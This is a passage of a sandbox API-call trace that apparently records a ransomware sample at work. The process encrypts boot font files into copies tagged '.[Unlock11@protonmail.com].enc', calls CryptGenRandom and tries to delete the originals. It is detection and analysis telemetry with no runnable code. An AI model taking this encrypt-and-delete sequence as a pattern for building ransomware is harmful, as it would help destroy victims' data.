() returned 0x0 [0116.730] CreateFileA (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0116.731] GetFileType (hFile=0x3ac) returned 0x1 [0116.731] GetLastError () returned 0x0 [0116.731] GetCurrentThreadId () returned 0x9b0 [0116.731] GetLastError () returned 0x0 [0116.731] GetFileType (hFile=0x3ac) returned 0x1 [0116.732] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0116.732] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.732] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.732] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.732] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.732] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.732] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.732] GetLastError () returned 0x0 [0116.732] GetCurrentThreadId () returned 0x9b0 [0116.732] GetLastError () returned 0x0 [0116.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69f8 | out: hHeap=0x2ad0000) returned 1 [0116.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0116.732] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0116.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0116.733] GetLastError () returned 0x0 [0116.733] GetLastError () returned 0x0 [0116.733] GetCurrentThreadId () returned 0x9b0 [0116.733] GetLastError () returned 0x0 [0116.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0116.733] GetLastError () returned 0x0 [0116.733] GetLastError () returned 0x0 [0116.733] GetCurrentThreadId () returned 0x9b0 [0116.733] GetLastError () returned 0x0 [0116.733] GetLastError () returned 0x0 [0116.736] GetLastError () returned 0x0 [0116.736] GetCurrentThreadId () returned 0x9b0 [0116.736] GetLastError () returned 0x0 [0116.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6aa8 | out: hHeap=0x2ad0000) returned 1 [0116.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.737] GetCurrentThreadId () returned 0x9b0 [0116.737] GetLastError () returned 0x0 [0116.737] GetLastError () returned 0x0 [0116.737] GetLastError () returned 0x0 [0116.737] GetLastError () returned 0x0 [0116.738] GetCurrentThreadId () returned 0x9b0 [0116.738] GetLastError () returned 0x0 [0116.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0116.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0116.738] GetLastError () returned 0x0 [0116.740] GetLastError () returned 0x0 [0116.740] GetCurrentThreadId () returned 0x9b0 [0116.740] GetLastError () returned 0x0 [0116.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.740] GetLastError () returned 0x0 [0116.741] GetLastError () returned 0x0 [0116.742] GetCurrentThreadId () returned 0x9b0 [0116.742] GetLastError () returned 0x0 [0116.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69f8 [0116.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a88 | out: hHeap=0x2ad0000) returned 1 [0116.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.742] GetCurrentThreadId () returned 0x9b0 [0116.742] GetLastError () returned 0x0 [0116.743] GetLastError () returned 0x0 [0116.743] GetLastError () returned 0x0 [0116.743] GetLastError () returned 0x0 [0116.743] GetCurrentThreadId () returned 0x9b0 [0116.743] GetLastError () returned 0x0 [0116.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0116.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0116.743] GetLastError () returned 0x0 [0116.745] GetLastError () returned 0x0 [0116.745] GetCurrentThreadId () returned 0x9b0 [0116.745] GetLastError () returned 0x0 [0116.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.745] GetLastError () returned 0x0 [0116.747] GetLastError () returned 0x0 [0116.747] GetCurrentThreadId () returned 0x9b0 [0116.747] GetLastError () returned 0x0 [0116.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a08 [0116.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69f8 | out: hHeap=0x2ad0000) returned 1 [0116.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.748] GetCurrentThreadId () returned 0x9b0 [0116.748] GetLastError () returned 0x0 [0116.748] GetLastError () returned 0x0 [0116.748] GetLastError () returned 0x0 [0116.748] GetLastError () returned 0x0 [0116.748] GetCurrentThreadId () returned 0x9b0 [0116.748] GetLastError () returned 0x0 [0116.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0116.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0116.749] GetLastError () returned 0x0 [0116.750] GetLastError () returned 0x0 [0116.750] GetCurrentThreadId () returned 0x9b0 [0116.750] GetLastError () returned 0x0 [0116.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.751] GetLastError () returned 0x0 [0116.752] GetLastError () returned 0x0 [0116.752] GetCurrentThreadId () returned 0x9b0 [0116.752] GetLastError () returned 0x0 [0116.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69f8 [0116.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0116.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.753] GetCurrentThreadId () returned 0x9b0 [0116.753] GetLastError () returned 0x0 [0116.753] GetLastError () returned 0x0 [0116.753] GetLastError () returned 0x0 [0116.754] GetLastError () returned 0x0 [0116.754] GetCurrentThreadId () returned 0x9b0 [0116.754] GetLastError () returned 0x0 [0116.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0116.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0116.754] GetLastError () returned 0x0 [0116.756] GetLastError () returned 0x0 [0116.756] GetCurrentThreadId () returned 0x9b0 [0116.756] GetLastError () returned 0x0 [0116.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.756] GetLastError () returned 0x0 [0116.758] GetLastError () returned 0x0 [0116.758] GetCurrentThreadId () returned 0x9b0 [0116.758] GetLastError () returned 0x0 [0116.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a08 [0116.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69f8 | out: hHeap=0x2ad0000) returned 1 [0116.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.759] GetCurrentThreadId () returned 0x9b0 [0116.759] GetLastError () returned 0x0 [0116.759] GetLastError () returned 0x0 [0116.759] GetLastError () returned 0x0 [0116.759] GetLastError () returned 0x0 [0116.759] GetCurrentThreadId () returned 0x9b0 [0116.760] GetLastError () returned 0x0 [0116.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0116.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0116.760] GetLastError () returned 0x0 [0116.763] GetLastError () returned 0x0 [0116.763] GetCurrentThreadId () returned 0x9b0 [0116.763] GetLastError () returned 0x0 [0116.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.764] GetLastError () returned 0x0 [0116.765] GetLastError () returned 0x0 [0116.765] GetCurrentThreadId () returned 0x9b0 [0116.765] GetLastError () returned 0x0 [0116.766] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69f8 [0116.766] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0116.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.766] GetLastError () returned 0x0 [0116.766] GetLastError () returned 0x0 [0116.767] GetLastError () returned 0x0 [0116.767] GetLastError () returned 0x0 [0116.767] GetCurrentThreadId () returned 0x9b0 [0116.767] GetLastError () returned 0x0 [0116.767] GetCurrentThreadId () returned 0x9b0 [0116.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0116.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0116.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0116.767] GetLastError () returned 0x0 [0116.769] GetLastError () returned 0x0 [0116.769] GetCurrentThreadId () returned 0x9b0 [0116.769] GetLastError () returned 0x0 [0116.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.770] GetLastError () returned 0x0 [0116.770] GetLastError () returned 0x0 [0116.770] GetCurrentThreadId () returned 0x9b0 [0116.770] GetLastError () returned 0x0 [0116.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a08 [0116.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69f8 | out: hHeap=0x2ad0000) returned 1 [0116.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.771] GetLastError () returned 0x0 [0116.771] GetLastError () returned 0x0 [0116.771] GetLastError () returned 0x0 [0116.772] GetLastError () returned 0x0 [0116.772] GetCurrentThreadId () returned 0x9b0 [0116.772] GetLastError () returned 0x0 [0116.772] GetCurrentThreadId () returned 0x9b0 [0116.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0116.773] GetCurrentThreadId () returned 0x9b0 [0116.774] GetLastError () returned 0x0 [0116.776] GetCurrentThreadId () returned 0x9b0 [0116.776] GetLastError () returned 0x0 [0116.776] GetCurrentThreadId () returned 0x9b0 [0116.776] GetLastError () returned 0x0 [0116.778] GetCurrentThreadId () returned 0x9b0 [0116.778] GetLastError () returned 0x0 [0116.778] GetCurrentThreadId () returned 0x9b0 [0116.778] GetLastError () returned 0x0 [0116.778] GetCurrentThreadId () returned 0x9b0 [0116.779] GetCurrentThreadId () returned 0x9b0 [0116.779] GetLastError () returned 0x0 [0116.781] GetCurrentThreadId () returned 0x9b0 [0116.781] GetLastError () returned 0x0 [0116.783] GetCurrentThreadId () returned 0x9b0 [0116.783] GetLastError () returned 0x0 [0116.881] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x4d60) returned 0x35c5908 [0116.881] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x4d65) returned 0x35c5908 [0116.881] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69f8 [0116.882] CloseHandle (hObject=0x3ac) returned 1 [0116.882] CloseHandle (hObject=0x39c) returned 1 [0116.882] DeleteFileA (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0116.882] GetLastError () returned 0x5 [0116.883] GetFullPathNameA (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Fonts\\kor_boot.ttf", lpFilePart=0x9bada4*="kor_boot.ttf") returned 0x1a [0116.883] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0116.883] GetFileAttributesExA (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588)) returned 1 [0116.883] GetLastError () returned 0x0 [0116.883] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668444 | out: pbBuffer=0x3668444) returned 1 [0116.883] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0116.883] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0116.884] CreateFileA (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0116.884] GetFileType (hFile=0x39c) returned 0x1 [0116.884] GetFileType (hFile=0x39c) returned 0x1 [0116.884] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0116.884] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.884] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.884] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.884] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.884] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.885] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.885] GetLastError () returned 0x0 [0116.885] GetCurrentThreadId () returned 0x9b0 [0116.885] GetLastError () returned 0x0 [0116.885] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0116.885] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0116.885] GetLastError () returned 0x0 [0116.885] GetLastError () returned 0x0 [0116.885] GetLastError () returned 0x0 [0116.885] GetLastError () returned 0x0 [0116.885] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0116.886] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6aa8 [0116.886] GetLastError () returned 0x0 [0116.886] CreateFileA (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0116.889] GetFileType (hFile=0x3ac) returned 0x1 [0116.889] GetLastError () returned 0x0 [0116.889] GetCurrentThreadId () returned 0x9b0 [0116.889] GetLastError () returned 0x0 [0116.890] GetFileType (hFile=0x3ac) returned 0x1 [0116.890] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0116.890] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.890] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.890] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.890] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.890] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.890] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.890] GetLastError () returned 0x0 [0116.890] GetCurrentThreadId () returned 0x9b0 [0116.890] GetLastError () returned 0x0 [0116.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6aa8 | out: hHeap=0x2ad0000) returned 1 [0116.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0116.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0116.891] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0116.891] GetLastError () returned 0x0 [0116.891] GetLastError () returned 0x0 [0116.891] GetCurrentThreadId () returned 0x9b0 [0116.891] GetLastError () returned 0x0 [0116.891] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0116.891] GetLastError () returned 0x0 [0116.892] GetLastError () returned 0x0 [0116.892] GetCurrentThreadId () returned 0x9b0 [0116.892] GetLastError () returned 0x0 [0116.892] GetLastError () returned 0x0 [0116.894] GetLastError () returned 0x0 [0116.894] GetCurrentThreadId () returned 0x9b0 [0116.894] GetLastError () returned 0x0 [0116.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0116.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.895] GetCurrentThreadId () returned 0x9b0 [0116.895] GetLastError () returned 0x0 [0116.896] GetLastError () returned 0x0 [0116.896] GetLastError () returned 0x0 [0116.896] GetLastError () returned 0x0 [0116.896] GetCurrentThreadId () returned 0x9b0 [0116.896] GetLastError () returned 0x0 [0116.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.896] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0116.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0116.896] GetLastError () returned 0x0 [0116.898] GetLastError () returned 0x0 [0116.898] GetCurrentThreadId () returned 0x9b0 [0116.898] GetLastError () returned 0x0 [0116.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.898] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.899] GetLastError () returned 0x0 [0116.900] GetLastError () returned 0x0 [0116.900] GetCurrentThreadId () returned 0x9b0 [0116.900] GetLastError () returned 0x0 [0116.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a58 [0116.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0116.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.900] GetCurrentThreadId () returned 0x9b0 [0116.900] GetLastError () returned 0x0 [0116.901] GetLastError () returned 0x0 [0116.901] GetLastError () returned 0x0 [0116.901] GetLastError () returned 0x0 [0116.901] GetCurrentThreadId () returned 0x9b0 [0116.901] GetLastError () returned 0x0 [0116.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0116.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0116.901] GetLastError () returned 0x0 [0116.903] GetLastError () returned 0x0 [0116.903] GetCurrentThreadId () returned 0x9b0 [0116.903] GetLastError () returned 0x0 [0116.903] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.903] GetLastError () returned 0x0 [0116.903] GetLastError () returned 0x0 [0116.905] GetCurrentThreadId () returned 0x9b0 [0116.905] GetLastError () returned 0x0 [0116.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ad8 [0116.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0116.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.905] GetCurrentThreadId () returned 0x9b0 [0116.905] GetLastError () returned 0x0 [0116.906] GetLastError () returned 0x0 [0116.906] GetLastError () returned 0x0 [0116.906] GetLastError () returned 0x0 [0116.906] GetCurrentThreadId () returned 0x9b0 [0116.906] GetLastError () returned 0x0 [0116.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0116.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0116.906] GetLastError () returned 0x0 [0116.908] GetLastError () returned 0x0 [0116.908] GetCurrentThreadId () returned 0x9b0 [0116.908] GetLastError () returned 0x0 [0116.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.908] GetLastError () returned 0x0 [0116.908] GetLastError () returned 0x0 [0116.909] GetCurrentThreadId () returned 0x9b0 [0116.909] GetLastError () returned 0x0 [0116.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a08 [0116.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ad8 | out: hHeap=0x2ad0000) returned 1 [0116.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.910] GetCurrentThreadId () returned 0x9b0 [0116.910] GetLastError () returned 0x0 [0116.910] GetLastError () returned 0x0 [0116.910] GetLastError () returned 0x0 [0116.910] GetLastError () returned 0x0 [0116.910] GetCurrentThreadId () returned 0x9b0 [0116.910] GetLastError () returned 0x0 [0116.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0116.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0116.911] GetLastError () returned 0x0 [0116.912] GetLastError () returned 0x0 [0116.912] GetCurrentThreadId () returned 0x9b0 [0116.912] GetLastError () returned 0x0 [0116.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.912] GetLastError () returned 0x0 [0116.913] GetLastError () 